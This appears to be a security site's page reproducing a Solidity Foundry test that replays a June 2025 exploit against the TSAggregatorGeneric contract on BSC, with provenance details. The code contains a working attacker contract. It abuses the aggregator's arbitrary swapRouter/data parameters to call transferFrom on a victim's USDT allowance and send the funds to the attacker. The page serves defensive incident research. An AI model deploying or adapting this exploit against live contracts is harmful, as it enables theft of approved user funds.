Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/TSAggregatorGeneric_exp.sol

Public reproduction file for dataset entry TSAggregatorGeneric.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/TSAggregatorGeneric_exp.sol110 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 1,300.00 USDT
8// Attacker : 0xd76Bfdbfe0F47D63C99Ea47f05262E0D43097E5a
9// Attack Contract : 0x7e0BDfaE4ECC3d84A4107625b7B7C227F598ef56
10// Vulnerable Contract : 0xb6FA6f1dCd686f4A573fD243a6fABb4Ba36ba98C
11// Attack Tx : https://bscscan.com/tx/0x077ea419bd5f0a20dc8f3da1281fbc96d6893201ebfd237742d01ae00a78e610
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xb6FA6f1dCd686f4A573fD243a6fABb4Ba36ba98C#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1278
18//
19// Attack summary: The attacker called TSAggregatorGeneric.swapIn with zero WBNB input and used the caller-chosen
20// swapRouter/data parameters to make the aggregator call USDT.transferFrom(victim, attacker helper, amount).
21// Root cause: swapIn trusted arbitrary swap target calldata while the aggregator had victim USDT allowance, letting
22// an attacker spend that allowance without performing a real swap.
24address constant ATTACKER = 0xD76bFdbfe0F47d63C99EA47F05262E0d43097e5a;
25address constant ATTACK_HELPER = 0x7E0BdfAe4ecc3D84A4107625B7b7C227f598Ef56;
26address constant TS_AGGREGATOR = 0xB6fA6f1DcD686F4A573Fd243a6FABb4ba36Ba98c;
27address constant VICTIM = 0x806aC20b7d84681cA8b8D52aB75B9ABEFa750131;
28address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
29address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
31interface ITSAggregatorGeneric {
32 function swapIn(
33 address router,
34 address vault,
35 string calldata memo,
36 address token,
37 uint256 amount,
38 address swapRouter,
39 bytes calldata data,
40 uint256 deadline
41 ) external;
44contract ContractTest is BaseTestWithBalanceLog {
45 function setUp() public {
46 uint256 forkBlock = 51_426_887;
47 vm.createSelectFork("bsc", forkBlock);
49 fundingToken = USDT_TOKEN;
50 attacker = ATTACKER;
52 vm.label(ATTACKER, "Attacker");
53 vm.label(ATTACK_HELPER, "Attack Helper");
54 vm.label(TS_AGGREGATOR, "TSAggregatorGeneric");
55 vm.label(VICTIM, "Victim");
56 vm.label(WBNB_TOKEN, "WBNB");
57 vm.label(USDT_TOKEN, "USDT");
58 }
60 function testExploit() public balanceLog {
61 uint256 victimBalanceBefore = IERC20(USDT_TOKEN).balanceOf(VICTIM);
62 uint256 attackerBalanceBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);
64 assertGt(victimBalanceBefore, 1_000 ether);
65 assertGe(IERC20(USDT_TOKEN).allowance(VICTIM, TS_AGGREGATOR), victimBalanceBefore);
67 // step 1: deploy an attacker helper that abuses the aggregator's arbitrary swap target/data.
68 vm.prank(ATTACKER);
69 TSAggregatorAttack attack = new TSAggregatorAttack(ATTACKER);
70 attack.execute(victimBalanceBefore);
72 // step 2: the victim's USDT allowance was spent by the aggregator and forwarded to the attacker.
73 uint256 attackerProfit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerBalanceBefore;
74 assertEq(attackerProfit, victimBalanceBefore);
75 assertEq(IERC20(USDT_TOKEN).balanceOf(VICTIM), 0);
76 }
79contract TSAggregatorAttack {
80 address private immutable profitReceiver;
82 constructor(
83 address receiver
84 ) {
85 profitReceiver = receiver;
86 }
88 function execute(
89 uint256 amountToSteal
90 ) external {
91 bytes memory maliciousSwapData =
92 abi.encodeWithSelector(IERC20.transferFrom.selector, VICTIM, address(this), amountToSteal);
94 // step 3: zero WBNB input keeps tokenTransferProxy side effects empty; USDT is the attacker-chosen swap target.
95 ITSAggregatorGeneric(TS_AGGREGATOR).swapIn(
96 address(this),
97 address(this),
98 "",
99 WBNB_TOKEN,
100 0,
101 USDT_TOKEN,
102 maliciousSwapData,
103 block.timestamp + 1 hours
104 );
106 IERC20(USDT_TOKEN).transfer(profitReceiver, IERC20(USDT_TOKEN).balanceOf(address(this)));
107 }
109 function depositWithExpiry(address payable, address, uint256, string memory, uint256) external payable {}

Analysis

Dataset entry

Public Foundry test for “TSAggregatorGeneric” (2025-06-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd76bfdbfe0f47d63c99ea47f05262e0d43097e5a

  • Attack Contract

    0x7e0bdfae4ecc3d84a4107625b7b7c227f598ef56

  • Vulnerable Contract

    0xb6fa6f1dcd686f4a573fd243a6fabb4ba36ba98c

  • Attack Tx

    0x077ea419bd5f0a20dc8f3da1281fbc96d6893201ebfd237742d01ae00a78e610

File record

Name
TSAggregatorGeneric
Path
src/test/2025-06/TSAggregatorGeneric_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
c31cf838a7d93e626c2710547957c3abb8d54d2c
Language
Solidity
Size
111 lines
Date
2025-06-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/TSAggregatorGeneric_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c31cf838a7d93e626c2710547957c3abb8d54d2c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.